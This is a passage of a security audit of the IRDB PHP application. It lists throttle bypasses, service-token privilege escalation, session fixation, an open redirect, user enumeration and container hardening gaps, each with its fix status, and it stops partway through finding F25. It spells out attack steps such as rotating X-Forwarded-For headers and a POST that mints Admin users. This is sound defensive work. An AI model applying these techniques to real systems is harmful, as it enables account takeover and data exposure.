# IRDB Security Review

> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
> Twig templates and Caddy configuration. Vendored dependencies were not audited
> (no `composer audit` / `npm audit` was run for this review).
>
> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
> critical. Severity reflects both impact and ease of exploitation in the
> documented deployment topology.
>
> Each finding is referenced as **F<N>** for later citation.
>
> **Findings rolled up:** 5 sev-3 (5 fixed, 0 open), 27 sev-2 (9 fixed, 18 open), 42 sev-1.

---

## Severity 3 — high / critical

### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
  `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
  without verifying the immediate peer is a configured trusted proxy.
  The throttle bucket is `(lower(username), source_ip)`, so an attacker
  rotates the `X-Forwarded-For` value per request — every attempt is a
  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
  documented brute-force protection on the local-admin password.
  Argon2id slows it but does not prevent it. The UI is also reachable
  on `:8080` directly per `docker-compose.yml`.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `extractSourceIp` no longer reads
  `X-Forwarded-For`; Caddy's `trusted_proxies static private_ranges`
  is the single trust boundary and PHP consumes only `REMOTE_ADDR`.
  Regression test in `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testRotatingXForwardedForDoesNotEvadePerIpLockout`).

### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
  there is no bucket that counts attempts against a *username* across
  IPs. An attacker on a distributed source (or a residential proxy
  pool) gets unlimited password attempts against the single
  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `LoginThrottle` now evaluates a second
  per-username bucket alongside the per-(user, ip) one with a
  25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; `isLocked()` trips on
  either bucket and `clear()` resets both on successful login.
  Regression tests in `ui/tests/Unit/Auth/LoginThrottleTest.php`
  (`testPerUsernameBucketLocksOutAcrossDistinctIps`,
  `testPerUsernameLadderProgresses`,
  `testLockoutSecondsRemainingReturnsLargerOfBuckets`) and
  `LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout`.

### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
- **Files:** `api/src/App/AppFactory.php:156-169`,
  `api/src/Application/Auth/AuthController.php:56-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
- **Risk:** The `/api/v1/auth/*` route group attaches only
  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
  `$auditContext`, no `$rateLimit`. The controller's only check is
  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
  assigns `Role::Admin` regardless of input. Anyone holding the service
  token (in env, masked-prefix-visible in `/admin/config`, baked into
  the UI image) can `POST /api/v1/auth/users/upsert-local
  {"username":"x"}` to create a new Admin user id and then impersonate
  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
  service token is a single-step total compromise with no log trail.
- **Severity: 3**
- **Status:** Fixed in `8a94dff`. `UserRepository::upsertLocal` now
  looks up the existing local row by `is_local = 1` (not by
  `display_name`) and updates `display_name` + `last_login_at` on it;
  it only inserts when zero local rows exist. Migration
  `20260504100000_add_unique_local_user_index` adds a partial unique
  index (`WHERE is_local = 1` on SQLite; functional index over a
  `CASE` expression on MySQL) so a regression in code still fails at
  the DB. Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testRotatingUsernamesNeverCreatesAdditionalLocalAdmins`,
  `testDbLayerRejectsSecondLocalAdminInsert`). The
  unaudited-write half of the finding (no `AuditEmitter` call on
  user creation / role grant) is tracked separately as F5.

### F4 — Audit emit is non-transactional with state mutation
- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
  `ReportersController.php:103-116, 198-211`,
  `PoliciesController.php:135-140, 241-246, 278-283`,
  `AllowlistController.php:126-131`
- **Risk:** Every admin write performs the mutation first, then calls
  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
  DB error, lock timeout, JSON encoding failure, or process kill
  between mutation and audit insert leaves the state changed with no
  audit row. An attacker with admin privileges who can intentionally
  fail the audit insert (e.g. abusing long `details_json` under MySQL
  strict mode, or racing audit-table maintenance) mutates state without
  being audited. Integrity of the audit log depends entirely on a
  best-effort second write.
- **Severity: 3**
- **Status:** Fixed in `8d948ae`. `AuditEmitter` now exposes two
  methods with explicit semantics: `emit()` (best-effort, swallows
  infra errors — used only by `ReportController` and
  `BlocklistController`, the high-volume public paths whose emit is
  toggleable per `app_settings`) and `emitOrThrow()` (strict, propagates).
  Every admin write site (`ManualBlocksController`, `AllowlistController`,
  `ReportersController`, `ConsumersController`, `CategoriesController`,
  `PoliciesController`, `TokensController`, `AppSettingsController`,
  `MaintenanceController.purge`/`seedDemo`, `JobsAdminController.trigger`,
  and `AuthController.upsertOidc`/`upsertLocal`) now wraps mutation +
  `emitOrThrow()` in `Connection::transactional()`, so any audit insert
  failure rolls back the originating mutation. Cache invalidations move
  to post-commit. `DbAuditEmitter` switches to `JSON_THROW_ON_ERROR`
  so payload encoding failures become typed exceptions instead of a
  silent `false`. Regression tests in
  `api/tests/Integration/Audit/AuditRollbackTest.php` drop the
  `audit_log` table to force every emit path to fail and assert the
  target tables (`manual_blocks`, `reporters`, `allowlist`,
  `categories`, `users`) see zero rows added.

### F5 — User creation and role assignment emit no audit
- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
  (`upsertOidc`, `upsertLocal`)
- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
  update users including assigning roles via OIDC group mapping or the
  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
  grants and account creation — primary SOC/ISO 27001 events — are
  invisible in the audit log. Combined with F3, an attacker who
  compromises the service token can grant themselves Admin without
  trace.
- **Severity: 3**
- **Status:** Fixed in `8d948ae` alongside F4. `AuthController` now
  wraps each upsert in `Connection::transactional()` and emits
  `user.created` (new account, source `oidc` or `local`, with role and
  groups context) on the bootstrap path, plus `user.role_changed` when
  a subsequent OIDC login resolves to a different role. The auth route
  group now attaches `AuditContextMiddleware` so the rows carry source
  IP and request id. Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testFirstUpsertLocalEmitsUserCreatedAudit`,
  `testRotatingUsernamesEmitsOnlyOneUserCreatedAudit`,
  `testNewOidcLoginEmitsUserCreatedAudit`,
  `testOidcRoleDriftEmitsRoleChangedAudit`) and
  `AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails`.

---

## Severity 2 — medium

### F6 — Throttle store is per-process in memory; lost on worker recycle
- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
- **Risk:** Counters live only in the FrankenPHP worker process. Worker
  recycling on memory pressure or fixed request counts wipes counters
  and gives the attacker fresh attempts. Multi-worker FrankenPHP
  multiplies allowed attempts by N silently. No persistent (DB / Redis)
  backing.
- **Severity: 2**
- **Status:** Fixed in `d119b72`. State moved behind a `ThrottleStore`
  abstraction; production wires `FileThrottleStore`, a flock-protected
  JSON file under `sys_get_temp_dir()` (overridable via
  `LOGIN_THROTTLE_PATH`). All FrankenPHP workers in one container share
  the same file: counters survive worker recycle and a single counter
  is incremented across the worker pool. Mutations take an exclusive
  lock on a sibling `.lock` file and write through a temp file + rename,
  so readers always see a consistent snapshot. Stale entries
  (`lockedUntil + 24 h < now`) are GC'd opportunistically. The file
  lives on the container's ephemeral writable layer, so a container
  restart still clears it — preserving the documented operator-unlock
  path. Multi-replica deployments still require sticky-LB mode (SPEC's
  documented topology). Regression tests in
  `ui/tests/Unit/Auth/FileThrottleStoreTest.php`
  (`testFailureRecordedOnOneInstanceIsVisibleToAnother`,
  `testClearOnOneInstanceIsVisibleToAnother`,
  `testCorruptFileIsTreatedAsEmpty`,
  `testStaleEntriesGarbageCollected`,
  `testWritesGoThroughTempPlusRename`,
  `testResetUnlinksFile`) and
  `LocalLoginTest::testFailuresArePersistedToConfiguredFilePath`.

### F7 — Username enumeration via response timing on local login
- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
- **Risk:** `password_verify` only runs after `usernameOk` evaluates
  truthy, so the request takes Argon2id time (tens to hundreds of ms)
  on a username match versus microseconds on a miss. An unauthenticated
  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
  Mitigation: always run a dummy `password_verify` against a fixed
  hash regardless of username match.
- **Severity: 2**
- **Status:** Fixed in `84238e6`. `LocalLoginController` now precomputes a
  dummy Argon2id hash once per worker in its constructor and routes
  `password_verify` to either the configured admin hash (when set) or the
  dummy hash (when unset). The verify result is ANDed with the username
  check and the "configured" check, so a username miss still fails closed
  but consumes Argon2id time. Also closes the related timing channel where
  an empty `LOCAL_ADMIN_PASSWORD_HASH` previously skipped `password_verify`
  entirely. Regression tests in
  `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testWrongUsernameTriggersPasswordVerify`,
  `testUnconfiguredLocalPasswordHashStillRunsPasswordVerify`) assert the
  failure path takes more than 10 ms — well above any path that would
  skip an Argon2id compare.

### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
- **Risk:** Both `regenerateId()` and `clear()` are gated on
  `!headers_sent()`. If headers are sent before middleware (warning
  output, accidental whitespace, error rendering), login does not
  rotate the session id. An attacker who pre-seeded a victim's
  `irdb_session` cookie can ride that session post-login (classic
  session fixation). Should fail-closed instead of silently
  no-op'ing.
- **Severity: 2**
- **Status:** Fixed in `f811b25`. `SessionManager` now distinguishes a
  CLI/test mode (auto-detected from `PHP_SAPI === 'cli'`, overridable
  via constructor) from HTTP mode. In HTTP, both `regenerateId()` and
  `clear()` throw `\RuntimeException` when `headers_sent()` is true,
  surfaced by Slim as a 500 so the operator chases the upstream output
  bug rather than silently leaving the pre-auth cookie valid. Under CLI
  (PHPUnit), a manual rotation path resets `session_id()` and preserves
  `$_SESSION`, matching `session_regenerate_id(true)` semantics for
  tests. The `headers_sent()` call is also routed through an injectable
  closure so unit tests can drive the HTTP fail-closed path without a
  real web server. Regression tests in
  `ui/tests/Unit/Auth/SessionManagerTest.php`
  (`testRegenerateIdThrowsInHttpModeWhenHeadersSent`,
  `testClearThrowsInHttpModeWhenHeadersSent`,
  `testCliFallbackRotatesIdAndPreservesSession`).

### F9 — OIDC session id not regenerated *before* the handshake starts
- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
  `$_SESSION` during `/login/oidc`. Regeneration only happens after
  a successful `upsert` (line 89). If an attacker can fixate a session
  id in a victim's browser before `/login/oidc` is hit (hostile
  network, sibling subdomain, or the F8 race), the attacker shares the
  same `$_SESSION` and can later hijack the session. Standard
  hardening regenerates on `initiate()` *before* redirecting to the
  IdP.
- **Severity: 2**
- **Status:** Fixed in `2a57589`. `OidcController::initiate` now calls
  `SessionManager::regenerateId()` at the top, before delegating to the
  authenticator that stashes `state`, `nonce`, and the PKCE
  `code_verifier` in `$_SESSION`. The OIDC handshake state is therefore
  bound only to a freshly rotated session id; any pre-fixated cookie is
  invalidated at this moment. The post-callback rotation is unchanged
  (defeats anything carrying over). Per F8, the rotation now also
  fail-closes if response headers were already sent, so it cannot
  silently no-op. Regression test in
  `ui/tests/Integration/Auth/OidcFlowTest.php`
  (`testInitiateRotatesSessionIdBeforeAuthenticate`) captures
  `session_id()` inside a fake authenticator and asserts it differs
  from the pre-request id.

### F10 — Open redirect via attacker-controllable `next` parameter
- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
  `ui/src/Auth/LocalLoginController.php:106-108`,
  `ui/src/Controllers/AllowlistController.php:126-128`,
  `ui/src/Controllers/ManualBlocksController.php:168-170`
- **Risk:** After a delete action, `next` from the form body is sent
  verbatim as `Location:` with no validation that the value starts with
  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
  authenticated operator/admin tricked into submitting a forged form
  (or any reflected XSS that auto-submits with the legitimate CSRF
  token) gets a 303 redirect to an arbitrary host from the trusted
  IRDB origin — high-quality phishing pivot. The login-flow
  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
  controls the source), but `setNext()` itself is unrestricted.
- **Severity: 2**
- **Status:** Fixed in `55156c5`. `SessionManager::isSafeRedirectPath()`
  accepts only same-origin paths (must start with `/`; second char must
  not be `/` or `\`; no control chars including CR/LF/NUL).
  `SessionManager::safeNextOrDefault()` returns the candidate iff safe,
  else a hard-coded literal default. `setNext()` and `consumeNext()` also
  drop unsafe values silently as defence-in-depth so any future caller
  is safe even without the helper. `AllowlistController::delete` and
  `ManualBlocksController::delete` now route the `next` form field
  through `safeNextOrDefault`, so a malicious value falls back to the
  resource list rather than redirecting the operator to the attacker
  URL. Regression tests: `SessionManagerTest` data-provider truth table
  for `isSafeRedirectPath` plus `testSetNextDropsUnsafeValueSilently`,
  `testConsumeNextRejectsPreviouslyStoredUnsafeValue`,
  `testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing`; integration
  tests in `CrudPagesTest`
  (`testManualBlockDeleteRejectsOpenRedirectInNext`,
  `testManualBlockDeleteHonoursSafeNext`,
  `testAllowlistDeleteRejectsOpenRedirectInNext`).

### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
- **Risk:** Service-token holders can impersonate any user id by
  setting `X-Acting-User-Id`. There is no allow-list, no
  "disabled"/"locked" check (no such column on `users`), and no
  separate audit signal. Combined with F3, a leaked service token is
  unconstrained Admin.
- **Severity: 2**
- **Status:** Fixed. Three layers:
  1. **Active-status gate.** Migration
     `20260504110000_add_disabled_at_to_users` adds nullable
     `disabled_at` to `users`; `User::isDisabled()` exposes the
     predicate; `ImpersonationMiddleware` returns `403 user_disabled`
     for any disabled target (mirroring the unknown-user 403 so
     attackers cannot use the response to distinguish "missing" from
     "disabled"). `AuthController::upsertOidc` and `upsertLocal`
     short-circuit with 403 before recomputing role on a disabled row,
     so a disabled user cannot drift their role via OIDC group
     membership while disabled.
  2. **Distinct audit signal.** Migration
     `20260504110001_add_actor_via_to_audit_log` adds `actor_via`
     (`oidc|local|admin-token|service|reporter|consumer|system`).
     `ImpersonationMiddleware` threads the resolved user's
     `is_local` flag onto `AuthenticatedPrincipal`, and
     `AuditContextMiddleware` derives `actor_via` from it — so
     audit rows split impersonated-OIDC from impersonated-local
     without joining `users`. `/admin/audit-log?actor_via=local`
     surfaces only local-admin actions for review.
  3. **Admin user-CRUD.** New `UsersController` exposes
     `GET /api/v1/admin/users`, `GET /{id}`, and
     `PATCH /{id}` (body `{disabled: bool}`). PATCH wraps the
     state change + `user.disabled` / `user.enabled` audit emit in
     `Connection::transactional()` per F4. Refused with 409 on
     self-disable (`cannot_disable_self`) or on disabling the
     local-admin row (`cannot_disable_local_admin`) — the local
     admin is the documented break-glass path; operators wanting
     to lock it disable it via `LOCAL_ADMIN_PASSWORD_HASH` in the
     UI's env. UI page at `/app/users` (admin-only sidebar entry).
     OIDC and local-login controllers route the upstream
     `403 user_disabled` to `/no-access` (OIDC) or to a generic
     "invalid credentials" flash (local — probe-resistant).
  Regression tests: `api/tests/Integration/Auth/DisabledUserTest.php`
  covers (a) impersonation 403 on disabled rows,
  (b) `upsertOidc` rejection without role recompute or audit drift,
  (c) `upsertLocal` rejection on disabled local admin,
  (d) `actor_via` derivation for impersonated local vs OIDC
  vs admin-token paths,
  (e) admin disable + audit emit + idempotency,
  (f) self-disable / local-admin-disable 409 guards,
  (g) `/audit-log?actor_via=local` filter.
  The remaining "allow-list" framing of F11 is by-design per SPEC §8:
  any user the UI BFF has upserted is impersonatable. The disabled
  flag is the operator's lever to revoke that consent.

### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
- **Risk:** `findLocalByUsername()` matches on `display_name` AND
  `is_local=1`, with no DB-enforced uniqueness on the pair.
  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
  pushes an OIDC user with the same `display_name` (and a later data
  fix flipping `is_local`) could be matched on local-admin login,
  binding the local-admin password to the wrong identity.
- **Severity: 2**
- **Status:** Fixed in `4006743`. The display-name match was already
  removed by the F3 fix (`8a94dff`) — `findLocal()` looks up by
  `is_local = 1` and the partial unique index `uniq_users_one_local`
  enforces "at most one local row" at the DB. F12's residual concern
  (a row reaching the state `is_local=1 AND subject IS NOT NULL` via
  direct DB tampering) is now addressed in two layers:
  1. **Application:** `UserRepository::findLocal()` adds
     `AND subject IS NULL` to the query. A row with `is_local=1` but a
     non-null OIDC subject is structurally not a local-admin row and
     will not bind the local-admin password — `upsertLocal` then
     trips the unique-index INSERT, surfacing the tamper as a 500.
  2. **DB:** Migration
     `20260505100000_add_users_local_subject_invariant` enforces the
     same predicate at the storage layer — MySQL via a `CHECK
     (NOT (is_local = 1 AND subject IS NOT NULL))` constraint, SQLite
     via paired `BEFORE INSERT` / `BEFORE UPDATE` triggers that
     `RAISE(ABORT)` on the violating predicate. So a "data fix"
     script attempting `UPDATE users SET is_local = 1 WHERE id = …`
     against an OIDC row fails at the DB before any login can bind.
  Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testDbLayerRejectsInsertingLocalRowWithNonNullSubject`,
  `testDbLayerRejectsFlippingIsLocalOnOidcRow`,
  `testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed`).

### F13 — Service token rotation leaves the old hash valid indefinitely
- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
- **Risk:** When the bootstrap detects a different service-kind row
  (rotation in progress), it inserts the new row but does not revoke
  the old. Both tokens remain valid. With no operator tooling for
  service-token revocation, rotated tokens may live forever in
  `api_tokens`. If an old token leaks (config snapshot, image layer)
  the attacker authenticates indefinitely.
- **Severity: 2**
- **Status:** Fixed in `40be6c1`. `ServiceTokenBootstrap` now wraps
  revoke-old + insert-new in `Connection::transactional()` (per F4): when the
  configured `UI_SERVICE_TOKEN` does not match any current row but
  one or more service-kind rows are currently active, every active
  service-kind row is `revoked_at = now()`'d before the new row is
  inserted. The revokes and the create roll back together if any
  step fails — there is never an observable window with no service
  token. New repository method
  `TokenRepository::findActiveServiceTokens()` enumerates the rows
  to revoke. The bootstrap also refuses to silently re-enable a
  hash that is already present-but-revoked (operator must issue a
  fresh value rather than rolling env back). Each revoke emits a
  `token.revoked` audit row with
  `details_json.reason = "rotated_by_bootstrap"` and the create
  emits a `token.created` row carrying `source: "bootstrap"` and a
  `rotated_from` array of revoked prefixes — so SOC tooling can
  attribute the rotation and split automatic from operator-initiated
  revocations. Both audit rows are attributed to `actor_kind=system`
  via `AuditContext::system()`. Regression tests in
  `api/tests/Integration/Auth/ServiceTokenBootstrapTest.php`
  (`testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow`,
  `testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken`,
  `testBootstrapRotationEmitsRevokedAndCreatedAuditRows`,
  `testBootstrapRefusesToReEnablePreviouslyRevokedToken`).

### F14 — `/api/v1/auth/*` has no rate limit
- **File:** `api/src/App/AppFactory.php:156-169`
- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
  is not attached. `getUser/{id}` allows enumeration (F17), and
  combined with F3 a leaked service token gets unlimited writes.
- **Severity: 2**
- **Status:** Fixed in `9849779`. The `/api/v1/auth/*` route group now
  attaches `RateLimitMiddleware` alongside `TokenAuthenticationMiddleware` and
  `AuditContextMiddleware`. Per-token-id token-bucket — same limiter
  the public group uses — caps a burst at `API_RATE_LIMIT_PER_SECOND
  × 2` (default 60/s, capacity 120) per service token. The bucket
  bails out gracefully when no principal is present (auth failure)
  so it doesn't stack with `TokenAuthenticationMiddleware`'s 401
  path. Caps the enumeration speed of `GET /users/{id}` (a residual
  exposure tracked by F17), and bounds amplification of any
  service-token-leak abuse against `upsert-local` / `upsert-oidc`.
  Regression tests in
  `api/tests/Integration/Public/RateLimitTest.php`
  (`testAuthGetUserRouteIsRateLimited`,
  `testAuthUpsertLocalRouteIsRateLimited`) burst the auth endpoints
  past capacity under a tight FixedClock+limiter and assert the
  expected 429 ceiling.

### F15 — `MaintenanceController::seedDemo` requires no confirmation token
- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
  Any actor with admin role (or a compromised service token via F3)
  can issue a single POST and load thousands of synthetic
  reports/IPs/blocks into a production database. The 409
  "already_seeded" check is keyed only on a literal demo-named
  reporter, so after a partial purge the seed will re-fire. Also a
  cheap repeated-write DoS.
- **Severity: 2**
- **Status:** Fixed in `5c15fc5`. `MaintenanceController::seedDemo`
  now requires `confirm: "SEED"` in the request body and returns
  `400 validation_failed` otherwise — symmetric with `purge`'s
  `"PURGE"` gate. The check runs before the 409 already-seeded
  shortcut and before any DB write, so a drive-by POST or repeated
  cost-imposition burst is rejected without touching `reporters`.
  The OpenAPI spec (`api/public/openapi.yaml` and `api/openapi.php`)
  documents the new request body and the 400 response. The UI BFF
  is updated end-to-end: `AdminClient::seedDemo` sends
  `confirm: "SEED"` (`ui/src/ApiClient/AdminClient.php`),
  `SettingsController::seedDemo` requires the user to type `SEED`
  in the form and surfaces a flash error otherwise
  (`ui/src/Controllers/SettingsController.php`), and the seed-demo
  modal mirrors the purge modal's typed-confirm UX in
  `ui/resources/views/pages/settings/index.twig`. Regression test
  `testSeedDemoRequiresLiteralConfirmString` in
  `api/tests/Integration/Admin/MaintenanceControllerTest.php`
  asserts both no-body and wrong-literal POSTs return 400 and that
  no `reporters`/`reports` rows landed; the existing
  `testSeedDemoPopulatesDataAndIsIdempotent` /
  `testSeedDemoForbiddenForViewer` cases were updated to send the
  new body.

### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
- **Risk:** When an Admin user creates an admin-kind token, the
  `TokenRecord` carries `role` but no `userId`. If the user issuing
  the token is later demoted/disabled/removed, the token continues
  to grant Admin until manually revoked. There is no UI/API to list
  tokens by issuer.
- **Severity: 2**
- **Status:** Fixed in `947ab89`. Three layers close the gap:

  1. **Schema.** Migration
     `20260505110000_add_user_id_to_api_tokens` adds nullable
     `api_tokens.user_id`. On MySQL it carries an FK to `users(id)`
     with `ON DELETE CASCADE` — a hard-deleted user takes the tokens
     they issued with them. SET NULL was rejected because reverting
     to a NULL `user_id` would let the token re-enter the
     grandfathered legacy path. SQLite cannot add an FK via ALTER
     TABLE, so deletion-time enforcement on that driver falls back
     to the application layer (issuer-row lookup returns null →
     401). The system has no API-level user-deletion path; both
     drivers behave identically for the actual offboarding flows
     (disable + role demote).
  2. **Binding.** `TokensController::create` writes the acting
     user's id into the new column for `kind=admin` tokens only.
     Reporter / consumer / service tokens stay user-less — they are
     device credentials, not delegated user privilege.
     `TokenRecord` carries the new `userId` field; the create
     response and list response surface `user_id`, the list also
     denormalises a `user_label` (display name, email, or `user#N`).
     Admin tokens minted via `bin/console tokens:create` carry NULL
     and are grandfathered — operators rotate those after deploy if
     they want strict binding.
  3. **Enforcement.** `TokenAuthenticationMiddleware` injects
     `UserRepository`; for any admin-kind token with non-null
     `user_id` it loads the issuer and refuses the token (401, same
     shape as every other auth failure) if the issuer row is
     missing, has `disabled_at` set, or has a current role that
     doesn't satisfy the token's bound role
     (`role.satisfies(token.role)`). NULL `user_id` skips the
     check, preserving the grandfathered path. ImpersonationMiddleware
     still validates the impersonated user separately (F11), so a
     service token that claims to be a disabled user is still 403'd
     before the role check fires.

  UI: `/app/tokens` adds an Issuer column showing `user_label` (or
  `user#N` for deleted issuers, or `—` for legacy / console-issued
  tokens). OpenAPI yaml + `openapi.php` document the new fields.

  Regression tests in
  `api/tests/Integration/Auth/TokenIssuerBindingTest.php`:
  `testAdminTokenCreatedViaApiIsBoundToActingAdmin` (binding +
  audit row attribution),
  `testReporterTokenCreatedViaApiIsNotBoundToUser` (admin-only
  binding), `testListSurfacesIssuerLabel` (denormalised label),
  `testBoundAdminTokenAuthenticatesWhileIssuerActive` (happy path),
  `testBoundAdminTokenIsRejectedAfterIssuerDisabled` (F11
  intersect),
  `testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole`
  (Admin-token-after-Viewer-demote → 401),
  `testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole`
  (Viewer token held by Admin issuer still works),
  `testBoundAdminTokenIsRejectedIfIssuerRowIsGone` (deletion
  fallback on SQLite),
  `testLegacyUnboundAdminTokenStillAuthenticates` (grandfathering).

### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
- **File:** `api/src/Application/Auth/AuthController.php:79-104`
- **Risk:** A service-token holder can iterate `/users/1`,
  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
  `role`, `is_local`. No rate limit (F14), no audit (F5), no
  defensive sleep.
- **Severity: 2**

### F18 — Containers run as root (no `USER` directive)
- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
  CVE gets root inside the container. No `--chown` on `COPY`. The
  `irdb-data:/data` volume is owned by root.
- **Severity: 2**

### F19 — No `.dockerignore` — host artifacts baked into images
- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
  `api/Dockerfile:31`, `ui/Dockerfile:37`
- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
  `db/migrations/`, `bin/console`, `.phpstan.cache/`,
  `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
  into the image. The repo-root `.env` is outside the build context
  by happenstance — any future developer who drops `.env`,
  `.env.local`, or a fixture into `api/` or `ui/` will silently bake
  it into the published image. Test fixtures and `bin/console` are
  also available to any future LFI / arbitrary-file-read primitive.
- **Severity: 2**

### F20 — Application source is writable by the process serving requests
- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
  to overwrite PHP source files in `/app` (vendor, src,
  `public/index.php`) and persist via the next request. A `USER`
  directive plus stricter perms (read-only `/app`, writable only
  `/data`) blocks this persistence path.
- **Severity: 2**

### F21 — `getTraceAsString` logged in production may leak plaintext credentials
- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
  `api/src/Infrastructure/Jobs/JobRunner.php:91`
- **Risk:** PHP's stringified backtrace inlines scalar arguments to
  each frame. An exception thrown from inside `password_verify`, a
  Guzzle request setter, or any function called with a token/password
  as an argument writes the *plaintext* secret into the trace.
  `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
  `irdb_*` token shapes but does not match arbitrary plaintext
  passwords or generic OIDC `client_secret` values, so password-spray
  and OIDC misconfig errors leak via stdout logs.
- **Severity: 2**

### F22 — `compose.scheduler.yml` runs `apk add` at every container start
- **File:** `compose.scheduler.yml:3-8`
- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
  `apk add --no-cache curl tini` at runtime means each restart pulls
  whatever Alpine ships that minute. A compromise of the Alpine
  package mirror (or typosquatting) gets root in the scheduler
  container, which holds `INTERNAL_JOB_TOKEN` and can call
  `/internal/jobs/*`. Pin the base image digest and the apk versions
  or build a real image.
- **Severity: 2**

### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
- **File:** `ui/composer.json:19`
- **Risk:** The `^1.0` constraint covers a major line that has had
  multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
  v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
  Given this library is the sole OIDC token-validation entry point,
  drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
  and run `composer audit` regularly.
- **Severity: 2**

### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
  inline event handlers (`x-on:click`, `onclick`). Any stored or
  reflected XSS sink elsewhere in the app executes unimpeded. The
  trade-off is documented (Alpine.js v3 `Function()` evaluator), but
  CSP is here a defence-in-depth string only — XSS is fully
  exploitable without strict CSP. Migrating to nonces or hashed
  scripts and packaging Alpine-with-CSP-build would close the gap.
- **Severity: 2**

### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
  `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
  `docker-compose.yml:15-16`
- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
  so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
  the immediate peer is in any RFC1918 range. The api container's
  port 8081 is published. In a deployment where another container on
